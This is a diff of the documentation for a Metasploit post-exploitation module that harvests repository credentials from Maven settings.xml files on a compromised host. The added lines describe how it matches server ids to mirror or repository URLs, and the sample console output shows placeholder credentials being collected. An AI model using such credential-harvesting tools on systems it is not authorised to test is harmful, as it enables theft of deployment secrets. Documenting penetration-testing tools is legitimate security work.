|
2 | 2 |
|
3 | 3 | [Maven](https://maven.apache.org/) a software project management.
|
4 | 4 | This module seeks all settings.xml (Maven configuration file) on the target file system to extract credentials from them.
|
| 5 | +Credentials are store in the <server> tag ; the module also tries to cross the identifier found with the <mirror> or |
| 6 | +<repository> tag in order to find the full realm the credentials belong to. |
5 | 7 |
|
6 | 8 | This module was successfully tested against:
|
7 | 9 |
|
@@ -29,15 +31,34 @@ msf post(maven_creds) > run
|
29 | 31 | [*] Downloading /home/user/settings.xml
|
30 | 32 | [*] Reading settings.xml file from /home/user/settings.xml
|
31 | 33 | [*] Collected the following credentials:
|
32 |
| -[*] Id: server-nexus |
33 |
| -[*] Username: deploynexus |
34 |
| -[*] Password: password |
| 34 | +[*] Id: server-nexus-dev |
| 35 | +[*] Username: deploynexus-dev |
| 36 | +[*] Password: password-dev |
| 37 | +[*] Try to find url from id... |
| 38 | +[*] No url found, id will be set as realm |
| 39 | +
|
| 40 | +[*] Collected the following credentials: |
| 41 | +[*] Id: server-nexus-int |
| 42 | +[*] Username: deploynexus-int |
| 43 | +[*] Password: password-int |
| 44 | +[*] Try to find url from id... |
| 45 | +[*] Found url in mirror : http://www.myhost.com/int |
| 46 | +
|
| 47 | +[*] Collected the following credentials: |
| 48 | +[*] Id: server-nexus-prd |
| 49 | +[*] Username: deploynexus-prd |
| 50 | +[*] Password: password-prd |
| 51 | +[*] Try to find url from id... |
| 52 | +[*] Found url in repository : http://www.myhost.com/prd |
| 53 | +
|
35 | 54 |
|
36 | 55 | msf post(maven_creds) > creds
|
37 | 56 |
|
38 | 57 | Credentials
|
39 | 58 | ===========
|
40 | 59 |
|
41 |
| -host origin service public private realm private_type |
42 |
| ----- ------ ------- ------ ------- ----- ------------ |
43 |
| - deploynexus password server-nexus Password |
| 60 | +host origin service public private realm private_type |
| 61 | +---- ------ ------- ------ ------- ----- ------------ |
| 62 | + deploynexus-dev password-dev server-nexus-dev Password |
| 63 | + deploynexus-int password-int http://www.myhost.com/int Password |
| 64 | + deploynexus-prd password-prd http://www.myhost.com/prd Password |
0 commit comments